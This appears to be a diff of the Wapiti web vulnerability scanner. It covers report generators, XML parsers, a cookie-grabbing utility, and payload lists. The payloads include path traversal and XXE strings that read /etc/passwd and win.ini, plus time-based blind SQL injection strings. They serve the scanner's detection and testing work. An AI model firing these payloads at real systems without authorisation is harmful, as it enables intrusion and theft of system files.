<title><![CDATA[CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')]]></title>
<url>http://cwe.mitre.org/data/definitions/89.html</url>
</reference>
</references>
</vulnerability>
<vulnerability name="File Handling">
<description>File Handling description</description>
<solution text="File Handling solution" />
<references>
<reference>
<title>http://www.owasp.org/index.php/Path_Traversal</title>
<url>http://www.owasp.org/index.php/Path_Traversal</url>
</reference>
<reference>
<title>http://www.acunetix.com/websitesecurity/directory-traversal.htm</title>
<url>http://www.acunetix.com/websitesecurity/directory-traversal.htm</url>
</reference>
<reference>
<title><![CDATA[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')]]></title>
<url>http://cwe.mitre.org/data/definitions/22.html</url>
</reference>
</references>
</vulnerability>
<vulnerability name="Cross Site Scripting">
<description>Cross Site Scripting description</description>
<solution text="Cross Site Scripting solution" />
<references>
<reference>
<title>http://www.owasp.org/index.php/Cross_Site_Scripting</title>
<url>http://www.owasp.org/index.php/Cross_Site_Scripting</url>
</reference>
<reference>
<title>http://en.wikipedia.org/wiki/Cross-site_scripting</title>
<url>http://en.wikipedia.org/wiki/Cross-site_scripting</url>
</reference>
<reference>
<title><![CDATA[CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')]]></title>
<url>http://cwe.mitre.org/data/definitions/79.html</url>
</reference>
</references>
</vulnerability>
<vulnerability name="CRLF Injection">
<description>CRLF description</description>
<solution text="CRLF solution"/>
<references>
<reference>
<title>http://www.owasp.org/index.php/CRLF_Injection</title>
<url>http://www.owasp.org/index.php/CRLF_Injection</url>
</reference>
<reference>
<title>http://www.acunetix.com/websitesecurity/crlf-injection.htm</title>
<url>http://www.acunetix.com/websitesecurity/crlf-injection.htm</url>
</reference>
<reference>
<title><![CDATA[CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')]]></title>
<url>http://cwe.mitre.org/data/definitions/93.html</url>
</reference>
</references>
</vulnerability>
<vulnerability name="Commands execution">
<description>Commands execution description</description>
<solution text="Commands execution solution"/>
<references>
<reference>
<title>http://www.owasp.org/index.php/Command_Injection</title>
<url>http://www.owasp.org/index.php/Command_Injection</url>
</reference>
<reference>
<title><![CDATA[CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')]]></title>
<url>http://cwe.mitre.org/data/definitions/78.html</url>
</reference>
</references>
</vulnerability>
<vulnerability name="Htaccess Bypass">
<description>Htaccess bypass description</description>
<solution text="Htaccess bypass solution"/>
<references>
<reference>
<title>http://blog.teusink.net/2009/07/common-apache-htaccess-misconfiguration.html</title>
<url>http://blog.teusink.net/2009/07/common-apache-htaccess-misconfiguration.html</url>
</reference>
<reference>
<title>CWE-538: File and Directory Information Exposure</title>
<url>http://cwe.mitre.org/data/definitions/538.html</url>
</reference>
</references>
</vulnerability>
<vulnerability name="Backup file">
<description>Backup file description</description>
<solution text="Backup file solution"/>
<references>
<reference>
<title>Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)</title>
<url>http://www.owasp.org/index.php/Testing_for_Old,_Backup_and_Unreferenced_Files_(OWASP-CM-006)</url>
</reference>
<reference>
<title>CWE-530: Exposure of Backup File to an Unauthorized Control Sphere</title>
<url>http://cwe.mitre.org/data/definitions/530.html</url>
</reference>
</references>
</vulnerability>
<vulnerability name="Potentially dangerous file">
<description>Potentially dangerous file description</description>
<solution text="Potentially dangerous file solution"/>
<references>
<reference>
<title>The Open Source Vulnerability Database</title>
<url>http://osvdb.org/</url>
</reference>
</references>
</vulnerability>
<vulnerability name="Server Side Request Forgery">
<description>Server Side Request Forgery description</description>
<solution text="Server Side Request Forgery solution" />
<references>
<reference>
<title>Server Side Request Forgery (OWASP)</title>
<url>https://www.owasp.org/index.php/Server_Side_Request_Forgery</url>
</reference>
<reference>
<title>What is Server Side Request Forgery (Acunetix)?</title>
<url>https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/</url>
</reference>
<reference>
<title>What is the Server Side Request Forgery Vulnerability (Netsparker)</title>
<url>https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/</url>
</reference>
</references>
</vulnerability>
</vulnerabilities>

View File

@ -0,0 +1,237 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# Original authors :
# Alberto Pastor
# David del Pozo
# Copyright (C) 2008 Informatica Gesfor
# ICT Romulus (http://www.ict-romulus.eu)
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from xml.dom.minidom import Document
from wapitiCore.report.reportgenerator import ReportGenerator
class XMLReportGenerator(ReportGenerator):
"""
This class generates a report with the method printToFile(fileName) which contains
the information of all the vulnerabilities notified to this object through the
method add_vulnerability(vulnerabilityTypeName,level,url,parameter,info).
The format of the file is XML and it has the following structure:
<report type="security">
<generatedBy id="Wapiti 3.0.1"/>
<vulnerabilityTypeList>
<vulnerabilityType name="SQL Injection">
<vulnerabilityTypeList>
<vulnerabilityType name="SQL Injection">
<vulnerabilityList>
<vulnerability level="3">
<url>http://www.a.com</url>
<parameters>id=23</parameters>
<info>SQL Injection</info>
</vulnerability>
</vulnerabilityList>
</vulnerabilityType>
</vulnerabilityTypeList>
</report>
"""
def __init__(self):
super().__init__()
self._xml_doc = Document()
self._flaw_types = {}
self._vulns = {}
self._anomalies = {}
# Vulnerabilities
def add_vulnerability_type(self, name, description="", solution="", references=None):
if name not in self._flaw_types:
self._flaw_types[name] = {
"desc": description,
"sol": solution,
"ref": references
}
if name not in self._vulns:
self._vulns[name] = []
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
"""
Store the information about the vulnerability to be printed later.
The method printToFile(fileName) can be used to save in a file the
vulnerabilities notified through the current method.
"""
vuln_dict = {
"method": request.method,
"path": request.file_path,
"info": info,
"level": level,
"parameter": parameter,
"http_request": request.http_repr(left_margin=""),
"curl_command": request.curl_repr,
}
if category not in self._vulns:
self._vulns[category] = []
self._vulns[category].append(vuln_dict)
# Anomalies
def add_anomaly_type(self, name, description="", solution="", references=None):
if name not in self._flaw_types:
self._flaw_types[name] = {
"desc": description,
"sol": solution,
"ref": references
}
if name not in self._anomalies:
self._anomalies[name] = []
def add_anomaly(self, category=None, level=0, request=None, parameter="", info=""):
"""
Store the information about the vulnerability to be printed later.
The method printToFile(fileName) can be used to save in a file the
vulnerabilities notified through the current method.
"""
anom_dict = {
"method": request.method,
"path": request.file_path,
"info": info,
"level": level,
"parameter": parameter,
"http_request": request.http_repr(left_margin=""),
"curl_command": request.curl_repr,
}
if category not in self._anomalies:
self._anomalies[category] = []
self._anomalies[category].append(anom_dict)
def generate_report(self, output_path):
"""
Create a xml file with a report of the vulnerabilities which have been logged with
the method add_vulnerability(vulnerabilityTypeName,level,url,parameter,info)
"""
report = self._xml_doc.createElement("report")
report.setAttribute("type", "security")
self._xml_doc.appendChild(report)
# Add report infos
report_infos = self._xml_doc.createElement("report_infos")
generator_name = self._xml_doc.createElement("info")
generator_name.setAttribute("name", "generatorName")
generator_name.appendChild(self._xml_doc.createTextNode("wapiti"))
report_infos.appendChild(generator_name)
generator_version = self._xml_doc.createElement("info")
generator_version.setAttribute("name", "generatorVersion")
generator_version.appendChild(self._xml_doc.createTextNode(self._infos["version"]))
report_infos.appendChild(generator_version)
scope = self._xml_doc.createElement("info")
scope.setAttribute("name", "scope")
scope.appendChild(self._xml_doc.createTextNode(self._infos["scope"]))
report_infos.appendChild(scope)
date_of_scan = self._xml_doc.createElement("info")
date_of_scan.setAttribute("name", "dateOfScan")
date_of_scan.appendChild(self._xml_doc.createTextNode(self._infos["date"]))
report_infos.appendChild(date_of_scan)
target = self._xml_doc.createElement("info")
target.setAttribute("name", "target")
target.appendChild(self._xml_doc.createTextNode(self._infos["target"]))
report_infos.appendChild(target)
report.appendChild(report_infos)
vulnerabilities = self._xml_doc.createElement("vulnerabilities")
anomalies = self._xml_doc.createElement("anomalies")
# Loop on each flaw classification
for flaw_type in self._flaw_types:
container = None
classification = ""
flaw_dict = {}
if flaw_type in self._vulns:
container = vulnerabilities
classification = "vulnerability"
flaw_dict = self._vulns
elif flaw_type in self._anomalies:
container = anomalies
classification = "anomaly"
flaw_dict = self._anomalies
# Child nodes with a description of the flaw type
flaw_type_node = self._xml_doc.createElement(classification)
flaw_type_node.setAttribute("name", flaw_type)
flaw_type_desc = self._xml_doc.createElement("description")
flaw_type_desc.appendChild(self._xml_doc.createCDATASection(self._flaw_types[flaw_type]["desc"]))
flaw_type_node.appendChild(flaw_type_desc)
flaw_type_solution = self._xml_doc.createElement("solution")
flaw_type_solution.appendChild(self._xml_doc.createCDATASection(self._flaw_types[flaw_type]["sol"]))
flaw_type_node.appendChild(flaw_type_solution)
flaw_type_references = self._xml_doc.createElement("references")
for ref in self._flaw_types[flaw_type]["ref"]:
reference_node = self._xml_doc.createElement("reference")
title_node = self._xml_doc.createElement("title")
url_node = self._xml_doc.createElement("url")
title_node.appendChild(self._xml_doc.createTextNode(ref))
url = self._flaw_types[flaw_type]["ref"][ref]
url_node.appendChild(self._xml_doc.createTextNode(url))
reference_node.appendChild(title_node)
reference_node.appendChild(url_node)
flaw_type_references.appendChild(reference_node)
flaw_type_node.appendChild(flaw_type_references)
# And child nodes with each flaw of the current type
entries_node = self._xml_doc.createElement("entries")
for flaw in flaw_dict[flaw_type]:
entry_node = self._xml_doc.createElement("entry")
method_node = self._xml_doc.createElement("method")
method_node.appendChild(self._xml_doc.createTextNode(flaw["method"]))
entry_node.appendChild(method_node)
path_node = self._xml_doc.createElement("path")
path_node.appendChild(self._xml_doc.createTextNode(flaw["path"]))
entry_node.appendChild(path_node)
level_node = self._xml_doc.createElement("level")
level_node.appendChild(self._xml_doc.createTextNode(str(flaw["level"])))
entry_node.appendChild(level_node)
parameter_node = self._xml_doc.createElement("parameter")
parameter_node.appendChild(self._xml_doc.createTextNode(flaw["parameter"]))
entry_node.appendChild(parameter_node)
info_node = self._xml_doc.createElement("info")
info_node.appendChild(self._xml_doc.createTextNode(flaw["info"]))
entry_node.appendChild(info_node)
http_request_node = self._xml_doc.createElement("http_request")
http_request_node.appendChild(self._xml_doc.createCDATASection(flaw["http_request"]))
entry_node.appendChild(http_request_node)
curl_command_node = self._xml_doc.createElement("curl_command")
curl_command_node.appendChild(self._xml_doc.createCDATASection(flaw["curl_command"]))
entry_node.appendChild(curl_command_node)
entries_node.appendChild(entry_node)
flaw_type_node.appendChild(entries_node)
container.appendChild(flaw_type_node)
report.appendChild(vulnerabilities)
report.appendChild(anomalies)
with open(output_path, "w") as fd:
self._xml_doc.writexml(fd, addindent=" ", newl="\n")

View File

@ -0,0 +1,82 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# Original author :
# David del Pozo
# Alberto Pastor
# Copyright (C) 2008 Informatica Gesfor
# ICT Romulus (http://www.ict-romulus.eu)
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from xml.parsers import expat
from wapitiCore.report.reportgeneratorinfo import ReportGeneratorInfo
class ReportGeneratorsXMLParser:
REPORT_GENERATOR = "reportGenerator"
REPORT_GENERATOR_KEY = "reportTypeKey"
REPORT_GENERATOR_CLASS_MODULE = "classModule"
REPORT_GENERATOR_CLASSNAME = "className"
def __init__(self):
self._parser = expat.ParserCreate()
self._parser.StartElementHandler = self.start_element
self._parser.EndElementHandler = self.end_element
self._parser.CharacterDataHandler = self.char_data
self.reportGenerators = []
self.repGen = None
self.tag = ""
def parse(self, filename):
with open(filename) as f:
content = f.read()
self.feed(content)
def feed(self, data):
self._parser.Parse(data, 0)
def close(self):
self._parser.Parse("", 1)
del self._parser
def start_element(self, name, attrs):
if name == self.REPORT_GENERATOR:
self.repGen = ReportGeneratorInfo()
elif name == self.REPORT_GENERATOR_KEY:
self.tag = self.REPORT_GENERATOR_KEY
elif name == self.REPORT_GENERATOR_CLASSNAME:
self.tag = self.REPORT_GENERATOR_CLASSNAME
elif name == self.REPORT_GENERATOR_CLASS_MODULE:
self.tag = self.REPORT_GENERATOR_CLASS_MODULE
def end_element(self, name):
if name == self.REPORT_GENERATOR:
self.reportGenerators.append(self.repGen)
def char_data(self, data):
if self.tag == self.REPORT_GENERATOR_KEY:
self.repGen.set_key(data)
elif self.tag == self.REPORT_GENERATOR_CLASSNAME:
self.repGen.set_class_name(data)
elif self.tag == self.REPORT_GENERATOR_CLASS_MODULE:
self.repGen.set_class_module(data)
self.tag = ""
def get_report_generators(self):
return self.reportGenerators

View File

@ -0,0 +1,97 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2013-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from xml.parsers import expat
from wapitiCore.language.vulnerability import Anomaly
class AnomalyXMLParser:
ANOMALY = "anomaly"
ANOMALY_NAME = "name"
ANOMALY_DESCRIPTION = "description"
ANOMALY_SOLUTION = "solution"
ANOMALY_REFERENCE = "reference"
ANOMALY_REFERENCES = "references"
ANOMALY_REFERENCE_TITLE = "title"
ANOMALY_REFERENCE_URL = "url"
def __init__(self):
self._parser = expat.ParserCreate()
self._parser.StartElementHandler = self.start_element
self._parser.EndElementHandler = self.end_element
self._parser.CharacterDataHandler = self.char_data
self.anomalies = []
self.anom = None
self.references = {}
self.title = ""
self.url = ""
self.tag = ""
def parse(self, filename):
with open(filename) as f:
content = f.read()
self.feed(content)
def feed(self, data):
self._parser.Parse(data, 0)
def close(self):
self._parser.Parse("", 1)
del self._parser
def start_element(self, name, attrs):
if name == self.ANOMALY:
self.anom = Anomaly()
self.anom.set_name(attrs[self.ANOMALY_NAME])
elif name == self.ANOMALY_DESCRIPTION:
self.tag = self.ANOMALY_DESCRIPTION
elif name == self.ANOMALY_SOLUTION:
# self.tag = self.ANOMALY_SOLUTION
self.anom.set_solution(attrs["text"])
elif name == self.ANOMALY_REFERENCES:
self.references = {}
elif name == self.ANOMALY_REFERENCE:
self.tag = self.ANOMALY_REFERENCE
elif name == self.ANOMALY_REFERENCE_TITLE:
self.tag = self.ANOMALY_REFERENCE_TITLE
elif name == self.ANOMALY_REFERENCE_URL:
self.tag = self.ANOMALY_REFERENCE_URL
def end_element(self, name):
if name == self.ANOMALY:
self.anomalies.append(self.anom)
elif name == self.ANOMALY_REFERENCE:
self.references[self.title] = self.url
elif name == self.ANOMALY_REFERENCES:
self.anom.set_references(self.references)
def char_data(self, data):
if self.tag == self.ANOMALY_DESCRIPTION:
self.anom.set_description(data)
# elif self.tag==self.ANOMALY_SOLUTION:
# self.anom.set_solution(data)
elif self.tag == self.ANOMALY_REFERENCE_TITLE:
self.title = data
elif self.tag == self.ANOMALY_REFERENCE_URL:
self.url = data
self.tag = ""
def get_anomalies(self):
return self.anomalies

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,33 @@
/* =Typography
-----------------------------------------------------------------------------*/
body {
}
/* =Links
-----------------------------------------------------------------------------*/
/* =Layout
-----------------------------------------------------------------------------*/
#page {
max-width: 940px;
padding: 0 10px;
margin: 24px auto;
}
/* =Header
-----------------------------------------------------------------------------*/
/* =Nav
-----------------------------------------------------------------------------*/
/* =Misc
-----------------------------------------------------------------------------*/
/* =Footer
-----------------------------------------------------------------------------*/

View File

@ -0,0 +1,89 @@
#!/usr/bin/env python3
# HTML Report Generator Module for Wapiti Project
# Wapiti Project (http://wapiti.sourceforge.net)
#
# Copyright (C) 2017-2018 Nicolas SURRIBAS
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import sys
from shutil import copytree, rmtree, copy
from urllib.parse import urlparse
import time
from mako.template import Template
from wapitiCore.report.jsonreportgenerator import JSONReportGenerator
class HTMLReportGenerator(JSONReportGenerator):
"""
This class generates a Wapiti scan report in HTML format.
"""
def __init__(self):
super().__init__()
self._final__path = None
BASE_DIR = os.path.dirname(sys.modules["wapitiCore"].__file__)
REPORT_DIR = "report_template"
def generate_report(self, output_path):
"""
Copy the report structure in the specified 'output_path' directory.
If this directory already exists, overwrite the template files and add the HTML report.
(This way we keep previous generated HTML files).
"""
if os.path.isdir(output_path):
for subdir in ("css", "js"):
try:
rmtree(os.path.join(output_path, subdir))
except FileNotFoundError:
pass
copytree(os.path.join(self.BASE_DIR, self.REPORT_DIR, subdir), os.path.join(output_path, subdir))
copy(os.path.join(self.BASE_DIR, self.REPORT_DIR, "logo_clear.png"), output_path)
else:
copytree(os.path.join(self.BASE_DIR, self.REPORT_DIR), output_path)
mytemplate = Template(
filename=os.path.join(self.BASE_DIR, self.REPORT_DIR, "report.html"),
input_encoding="utf-8",
output_encoding="utf-8"
)
filename = "{}_{}.html".format(
urlparse(self._infos["target"]).netloc.replace(":", "_"),
time.strftime("%m%d%Y_%H%M", self._date)
)
self._final__path = os.path.join(output_path, filename)
with open(self._final__path, "w") as fd:
fd.write(
mytemplate.render_unicode(
wapiti_version=self._infos["version"],
target=self._infos["target"],
scan_date=self._infos["date"],
scan_scope=self._infos["scope"],
vulnerabilities=self._vulns,
anomalies=self._anomalies,
flaws=self._flaw_types
)
)
@property
def final_path(self):
return self._final__path

View File

@ -0,0 +1,133 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2006-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from urllib.parse import urlparse, urlunparse
import argparse
from wapitiCore.net import jsoncookie
from wapitiCore.net.crawler import Crawler
from wapitiCore.language.language import _
from wapitiCore.net.web import Request
def getcookie_main():
parser = argparse.ArgumentParser(description="Wapiti-getcookie: An utility to grab cookies from a webpage")
parser.add_argument(
'-u', '--url',
help='First page to fetch for cookies',
required=True
)
parser.add_argument(
'-c', '--cookie',
help='Cookie file in Wapiti JSON format where cookies will be stored',
required=True
)
parser.add_argument(
'-p', '--proxy',
help='Address of the proxy server to use'
)
parser.add_argument(
'-d', '--data',
help='Data to send to the form with POST'
)
args = parser.parse_args()
parts = urlparse(args.url)
if not parts.scheme or not parts.netloc or not parts.path:
print(_("Invalid base URL was specified, please give a complete URL with protocol scheme"
" and slash after the domain name."))
exit()
server = parts.netloc
base = urlunparse((parts.scheme, parts.netloc, parts.path, '', '', ''))
crawler = Crawler(base)
if args.proxy:
proxy_parts = urlparse(args.proxy)
if proxy_parts.scheme and proxy_parts.netloc:
if proxy_parts.scheme.lower() in ("http", "https", "socks"):
crawler.set_proxy(args.proxy)
# Open or create the cookie file and delete previous cookies from this server
jc = jsoncookie.JsonCookie()
jc.open(args.cookie)
jc.delete(server)
page = crawler.get(Request(args.url), follow_redirects=True)
# A first crawl is sometimes necessary, so let's fetch the webpage
jc.addcookies(crawler.session_cookies)
if not args.data:
# Not data specified, try interactive mode by fetching forms
forms = []
for i, form in enumerate(page.iter_forms(autofill=False)):
if i == 0:
print('')
print(_("Choose the form you want to use or enter 'q' to leave :"))
print("{0}) {1}".format(i, form))
forms.append(form)
ok = False
if forms:
nchoice = -1
print('')
while not ok:
choice = input(_("Enter a number : "))
if choice.isdigit():
nchoice = int(choice)
if len(forms) > nchoice >= 0:
ok = True
elif choice == 'q':
break
if ok:
form = forms[nchoice]
print('')
print(_("Please enter values for the following form: "))
print(_("url = {0}").format(form.url))
post_params = form.post_params
for i, kv in enumerate(post_params):
field, value = kv
if value:
new_value = input(field + " (" + value + ") : ")
else:
new_value = input("{}: ".format(field))
post_params[i] = [field, new_value]
request = Request(form.url, post_params=post_params)
crawler.send(request, follow_redirects=True)
jc.addcookies(crawler.session_cookies)
else:
request = Request(args.url, post_params=args.data)
crawler.send(request, follow_redirects=True)
jc.addcookies(crawler.session_cookies)
jc.dump()
jc.close()

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,97 @@
http://www.google.fr/?
/etc/passwd
/etc/passwd\0
/etc/services
/etc/services\0
c:\\boot.ini
c:\\boot.ini\0
c:\\windows\win.ini
c:\\windows\win.ini\0
c:/windows/win.ini
c:/windows/win.ini\0
../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../etc/passwd\0
../../../../../../../../../../../../../../../../../../../../etc/passwd\0
../../../../../../../../../../etc/services
../../../../../../../../../../../../../../../../../../../../etc/services
../../../../../../../../../../etc/services\0
../../../../../../../../../../../../../../../../../../../../etc/services\0
../../../../../../../../../../boot.ini
../../../../../../../../../../../../../../../../../../../../boot.ini
../../../../../../../../../../boot.ini\0
../../../../../../../../../../../../../../../../../../../../boot.ini\0
../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../windows/win.ini\0
../../../../../../../../../../../../../../../../../../../../windows/win.ini\0
[VALUE]/../../../../../../../../../../etc/passwd
[VALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd
[VALUE]/../../../../../../../../../../etc/passwd\0
[VALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd\0
[VALUE]/../../../../../../../../../../etc/services
[VALUE]/../../../../../../../../../../../../../../../../../../../../etc/services
[VALUE]/../../../../../../../../../../etc/services\0
[VALUE]/../../../../../../../../../../../../../../../../../../../../etc/services\0
[VALUE]/../../../../../../../../../../windows/win.ini
[VALUE]/../../../../../../../../../../../../../../../../../../../../windows/win.ini
[VALUE]/../../../../../../../../../../windows/win.ini\0
[VALUE]/../../../../../../../../../../../../../../../../../../../../windows/win.ini\0
[DIRVALUE]/../../../../../../../../../../etc/passwd
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd
[DIRVALUE]/../../../../../../../../../../etc/passwd\0
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd\0
[DIRVALUE]/../../../../../../../../../../etc/services
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/services
[DIRVALUE]/../../../../../../../../../../etc/services\0
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/services\0
[DIRVALUE]/../../../../../../../../../../windows/win.ini
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../windows/win.ini
[DIRVALUE]/../../../../../../../../../../windows/win.ini\0
[DIRVALUE]/../../../../../../../../../../../../../../../../../../../../windows/win.ini\0
file:///etc/passwd
file://c:\\boot.ini
file://c:\\windows\win.ini
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd\0
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/services
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/services\0
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//boot.ini
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//boot.ini\0
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//windows/win.ini\0
/etc/passwd\0index.htm
/etc/passwd\0index.html
/etc/passwd\0index.php
/etc/passwd\0index.asp
/etc/passwd\0index.aspx
/etc/passwd\0index.css
c:\\windows\win.ini\0index.htm
c:\\windows\win.ini\0index.html
c:\\windows\win.ini\0index.php
c:\\windows\win.ini\0index.asp
c:\\windows\win.ini\0index.aspx
c:\\windows\win.ini\0index.css
../../../../../../../../../../etc/passwd\0index.htm
../../../../../../../../../../etc/passwd\0index.html
../../../../../../../../../../etc/passwd\0index.php
../../../../../../../../../../etc/passwd\0index.asp
../../../../../../../../../../etc/passwd\0index.aspx
../../../../../../../../../../etc/passwd\0index.css
../../../../../../../../../../etc/passwd\0pix.gif
../../../../../../../../../../windows\win.ini\0index.htm
../../../../../../../../../../windows\win.ini\0index.html
../../../../../../../../../../windows\win.ini\0index.php
../../../../../../../../../../windows\win.ini\0index.asp
../../../../../../../../../../windows\win.ini\0index.aspx
../../../../../../../../../../windows\win.ini\0index.css
../../../../../../../../../../windows\win.ini\0pix.gix
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo[<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo[<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/windows/win.ini>]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo[<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini>]><foo>&xxe;</foo>
.depdb
.depdb\0
pearcmd.php
pearcmd.php\0
[FILE_NAME]
[FILE_NAME]\0

View File

@ -0,0 +1,218 @@
sleep([TIME])#1
sleep([TIME])#[LF]1
[VALUE],sleep([TIME])#1
[VALUE]`,sleep([TIME])#1
1 or sleep([TIME])#1
1 or sleep([TIME])#[LF]1
" or sleep([TIME])#1
" or sleep([TIME])#[LF]1
' or sleep([TIME])#1
' or sleep([TIME])#[LF]1
" or sleep([TIME])="
' or sleep([TIME])='
1) or sleep([TIME])#1
1) or sleep([TIME])#[LF]1
") or sleep([TIME])="
') or sleep([TIME])='
1)) or sleep([TIME])#1
1)) or sleep([TIME])#[LF]1
")) or sleep([TIME])="
')) or sleep([TIME])='
1 and sleep([TIME])#1
1 and sleep([TIME])#[LF]1
" and sleep([TIME])#1
" and sleep([TIME])#[LF]1
' and sleep([TIME])#1
' and sleep([TIME])#[LF]1
" and sleep([TIME])="
' and sleep([TIME])='
1) and sleep([TIME])#1
1) and sleep([TIME])#[LF]1
") and sleep([TIME])="
') and sleep([TIME])='
1)) and sleep([TIME])#1
1)) and sleep([TIME])#[LF]1
")) and sleep([TIME])="
')) and sleep([TIME])='
;waitfor delay '0:0:[TIME]'--1
[VALUE];waitfor delay '0:0:[TIME]'--1
[VALUE] waitfor delay '0:0:[TIME]'--1
;waitfor delay '0:0:[TIME]'--[LF]1
);waitfor delay '0:0:[TIME]'--1
[VALUE]);waitfor delay '0:0:[TIME]'--1
);waitfor delay '0:0:[TIME]'--[LF]1
';waitfor delay '0:0:[TIME]'--1
';waitfor delay '0:0:[TIME]'--[LF]1
";waitfor delay '0:0:[TIME]'--1
";waitfor delay '0:0:[TIME]'--[LF]1
');waitfor delay '0:0:[TIME]'--1
');waitfor delay '0:0:[TIME]'--[LF]1
");waitfor delay '0:0:[TIME]'--1
");waitfor delay '0:0:[TIME]'--[LF]1
));waitfor delay '0:0:[TIME]'--1
[VALUE]));waitfor delay '0:0:[TIME]'--1
));waitfor delay '0:0:[TIME]'--[LF]1
'));waitfor delay '0:0:[TIME]'--1
'));waitfor delay '0:0:[TIME]'--[LF]1
"));waitfor delay '0:0:[TIME]'--1
"));waitfor delay '0:0:[TIME]'--[LF]1
benchmark(10000000,MD5(1))#1
1 or benchmark(10000000,MD5(1))#1
" or benchmark(10000000,MD5(1))#1
' or benchmark(10000000,MD5(1))#1
1) or benchmark(10000000,MD5(1))#1
") or benchmark(10000000,MD5(1))#1
') or benchmark(10000000,MD5(1))#1
1)) or benchmark(10000000,MD5(1))#1
")) or benchmark(10000000,MD5(1))#1
')) or benchmark(10000000,MD5(1))#1
pg_sleep([TIME])--1
pg_sleep([TIME])--[LF]1
1 or pg_sleep([TIME])--1
